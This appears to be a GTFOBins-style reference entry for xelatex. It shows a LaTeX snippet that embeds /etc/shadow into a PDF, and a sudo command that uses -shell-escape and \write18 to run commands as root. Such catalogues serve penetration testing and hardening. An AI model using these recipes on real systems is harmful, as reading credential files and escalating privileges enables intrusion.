description: `xelatex` is a symbolic link to [`xetex`](/gtfobins/xetex/). However the program does not have the same behaviour regarding the name of argv[0]. functions: file-read: - code: | echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex latexmk read.tex #/etc/shadow is in read.pdf sudo: - code: | echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex sudo xelatex -shell-escape file.tex